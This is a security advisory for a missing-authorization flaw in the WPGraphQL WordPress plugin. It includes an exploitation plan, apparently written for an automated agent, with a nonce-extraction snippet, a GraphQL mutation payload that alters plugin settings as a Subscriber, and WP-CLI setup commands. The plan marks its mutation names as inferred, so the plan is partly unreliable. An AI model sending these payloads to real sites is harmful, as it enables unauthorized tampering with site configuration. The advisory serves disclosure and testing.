WPGraphQL <= 2.9.1 - Missing Authorization
Description
The WPGraphQL plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.9.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-33290 (WPGraphQL Missing Authorization) ## 1. Vulnerability Summary The **WPGraphQL** plugin for WordPress (versions <= 2.9.1) contains a missing authorization vulnerability in its administrative mutation handling. While the plugin implements a comprehensive G…
Show full research plan
Exploitation Research Plan: CVE-2026-33290 (WPGraphQL Missing Authorization)
1. Vulnerability Summary
The WPGraphQL plugin for WordPress (versions <= 2.9.1) contains a missing authorization vulnerability in its administrative mutation handling. While the plugin implements a comprehensive GraphQL API, certain mutations responsible for modifying plugin configuration or performing administrative actions fail to verify the user's capabilities. This allows any authenticated user with Subscriber-level permissions or higher to execute these mutations, potentially altering plugin settings, clearing caches, or reconfiguring the GraphQL endpoint.
2. Attack Vector Analysis
- Endpoint: The standard WPGraphQL endpoint, typically
/index.php?graphqlor/graphql. - HTTP Method:
POST - Authentication: Authenticated (Subscriber-level or higher).
- Payload Type: JSON-encoded GraphQL mutation.
- Vulnerable Action: Administrative mutations, specifically
updateWpGraphQLSettings(inferred) orclearCache(inferred). - Preconditions: The plugin must be active, and "Public Introspection" should ideally be enabled (though not strictly required if the mutation name is known).
3. Code Flow
- Entry Point: A
POSTrequest is sent to the GraphQL endpoint. - Request Handling: WPGraphQL's
Router(typically insrc/Router.php) processes the request and hands it to theGraphQL::execute()method. - Schema Processing: The engine parses the mutation and identifies the registered mutation field.
- Vulnerable Sink: The mutation's
mutateAndGetPayloadcallback is invoked. In affected versions, this callback (likely located insrc/Mutation/UpdateWpGraphQLSettings.phpor registered viaregister_graphql_mutationinsrc/Type/Setting/WPGraphQLSettingsType.php) fails to callcurrent_user_can( 'manage_options' )before proceeding to update the WordPress options table. - Execution: The
update_option()function is called with user-supplied values from the GraphQLinputargument.
4. Nonce Acquisition Strategy
While WPGraphQL often relies on session cookies for authenticated requests, it may require a REST API nonce (wp_rest) if the request is routed through the REST API or if specific security headers are enforced.
Strategy:
- Create a Subscriber user and log in.
- Access the WordPress dashboard (
/wp-admin/profile.php). - Extract the
wp-graphqlspecific settings or the standard REST nonce. - Actionable Steps for Agent:
- Navigate to
/wp-admin/index.php. - Use
browser_evalto extract the nonce if the plugin localizes it. - Check for
window.wpApiSettings?.nonceorwindow.WPGraphQLSettings?.nonce. - If no specific nonce is found, use the
wp_restnonce which is standard for authenticated API interactions in WP.
- Navigate to
// Example extraction via browser_eval
const nonce = window.wpApiSettings?.nonce || document.querySelector('input[name="_wpnonce"]')?.value;
return nonce;
5. Exploitation Strategy
The goal is to demonstrate unauthorized configuration changes by an authenticated Subscriber.
- Authenticate: Log in as a Subscriber.
- Construct Payload: Use the
updateWpGraphQLSettingsmutation to change a non-destructive but verifiable setting, such as thegraphql_endpoint. - Send Request: Use the
http_requesttool.
Payload Request:
- URL:
http://localhost:8080/index.php?graphql - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE](if required)
- Body:
{
"query": "mutation Exploit($input: UpdateWpGraphQLSettingsInput!) { updateWpGraphQLSettings(input: $input) { graphql_endpoint } }",
"variables": {
"input": {
"graphql_endpoint": "exploited-endpoint"
}
}
}
6. Test Data Setup
- Install Plugin: Ensure
wp-graphqlversion 2.9.1 is installed and active. - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Verify Initial State:
wp option get graphql_general_settings(Note the currentgraphql_endpointvalue, default is usuallygraphql).
7. Expected Results
- Successful Response: The HTTP 200 response will contain a JSON object indicating the setting was updated:
{ "data": { "updateWpGraphQLSettings": { "graphql_endpoint": "exploited-endpoint" } } } - Unauthorized Attempt (Fixed): A 200 OK but with a
errorsarray in the JSON body stating "Internal server error" or "Forbidden" due to failed capability checks.
8. Verification Steps
After the exploit attempt, verify the change via WP-CLI to confirm the database was updated:
# Check if the setting in the database has changed
wp option get graphql_general_settings --format=json
Look for the graphql_endpoint key. If it matches "exploited-endpoint", the unauthorized mutation succeeded.
9. Alternative Approaches
If updateWpGraphQLSettings is not available or has internal guards, attempt the clearCache mutation (common in GraphQL plugins) or updateGraphiQLSettings.
Alternative Mutation (Clear Cache):
{
"query": "mutation { clearCache(input: { clientMutationId: \"exploit\" }) { status } }"
}
If this returns a success status for a Subscriber, the vulnerability is confirmed.
If the site uses a different GraphQL endpoint path (e.g., /graphql instead of /index.php?graphql), check the plugin settings via wp option get graphql_general_settings to find the correct entry point.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.